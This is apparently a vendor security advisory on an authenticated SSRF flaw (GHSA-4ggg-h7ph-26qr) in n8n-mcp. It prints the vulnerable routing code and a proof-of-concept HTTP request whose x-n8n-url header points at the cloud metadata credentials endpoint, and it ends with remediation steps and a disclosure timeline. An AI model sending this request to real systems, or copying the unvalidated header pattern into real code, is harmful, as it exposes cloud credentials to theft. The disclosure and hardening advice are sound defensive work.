Zero-Day Analysis: Authenticated SSRF in n8n-mcp (GHSA-4ggg-h7ph-26qr)

Executive Summary

Yiğit İbrahim Sağlam (@ibrahmsql), Principal Security Researcher at Eresus Security, identified and responsibly disclosed an Authenticated Server-Side Request Forgery (SSRF) vulnerability in n8n-mcp (Model Context Protocol bridge for the n8n workflow engine). Tracked under official GitHub Security Advisory GHSA-4ggg-h7ph-26qr with a CVSS v3.1 score of 8.6 (High), this flaw allows authenticated tenants in multi-tenant HTTP deployments to force the MCP server to dispatch arbitrary outbound HTTP requests and reflect internal responses back through JSON-RPC channels.

Because Model Context Protocol (MCP) servers act as bridgeheads between Large Language Models (LLMs) and internal enterprise systems, SSRF vulnerabilities in MCP gateways present unprecedented risks of automated internal network reconnaissance and cloud credential exfiltration.

Technical Architecture & Root Cause

The n8n-mcp service translates LLM function calls into automated n8n workflow triggers. To support shared SaaS and multi-tenant hosting environments, the service introduced dynamic instance switching controlled via inbound HTTP request headers:

• x-n8n-url: Target n8n host URL.
• x-n8n-key: API authorization key for that specific instance.

In versions up to and including 2.47.3, incoming requests were parsed without URL validation or host canonicalization:

// Vulnerable routing logic in n8n-mcp HTTP transport handler
app.post("/mcp", async (req, res) => {
  const customUrl = req.headers["x-n8n-url"] as string;
  const apiKey = req.headers["x-n8n-key"] as string;

  // No host validation or IP address checking
  const client = new N8nApiClient({
    baseUrl: customUrl || defaultUrl,
    apiKey: apiKey
  });

  // Client dispatches request directly to attacker-controlled customUrl
  const result = await client.executeTool(req.body.params);
  res.json({ jsonrpc: "2.0", result });
});

Because customUrl was accepted as an arbitrary string, an authenticated attacker holding a standard AUTH_TOKEN could direct the client to internal network services. Furthermore, because n8n-mcp proxies the entire HTTP response body back to the caller via the MCP standard response envelope, the attack constitutes Full-Response (Non-Blind) SSRF.

Proof of Concept & Attack Chain

An attacker submits an MCP JSON-RPC call supplying cloud metadata URLs in the routing headers:

POST /mcp HTTP/1.1
Host: mcp-gateway.enterprise.internal
Authorization: Bearer <VALID_TENANT_TOKEN>
x-n8n-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/
x-n8n-key: arbitrary-dummy-key
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "n8n_list_workflows",
    "arguments": {}
  }
}

The MCP gateway initiates an internal HTTP GET request to 169.254.169.254, captures the STS session credentials, and encapsulates them into the JSON-RPC response returned to the LLM or user.

Threat Matrix & Lateral Movement Scenarios

Strategic Guidance for AI / MCP Developers

As Model Context Protocol adoption accelerates, security teams must enforce strict transport guardrails:

1. Never Accept Dynamic Server URLs via User Headers: Host endpoints should be statically configured through immutable environment variables or validated against cryptographic server registries.
2. Implement Network Namespace Isolation: Run MCP server processes inside isolated network namespaces with default-deny egress policies toward 169.254.0.0/16 and internal RFC1918 subnets.
3. Deploy Eresus Sentinel AI Gateway: Inspect tool call arguments and MCP transport envelopes for SSRF payloads, prompt injection, and credential exfiltration patterns.

Remediation & Patch Details

1. Upgrade Immediately: Upgrade all n8n-mcp deployments to version 2.47.4 or later, which incorporates strict URL parsing and protocol whitelisting.
2. Disable Dynamic Multi-Tenancy if Unused: In single-tenant deployments, ensure ENABLE_MULTI_TENANT=false is enforced.
3. Configure Reverse Proxy Header Stripping: Configure edge reverse proxies (NGINX/Traefik) to strip untrusted x-n8n-* headers before reaching upstream MCP containers.

Coordinated Disclosure Timeline

• 2025-03-24: Vulnerability discovered and analyzed by Yiğit İbrahim Sağlam (Eresus Security).
• 2025-03-26: Vulnerability reported to n8n-mcp maintainers with PoC.
• 2025-03-29: Maintainers acknowledged the issue and merged patch in development branch.
• 2025-04-01: Version 2.47.4 released and GitHub Advisory GHSA-4ggg-h7ph-26qr published.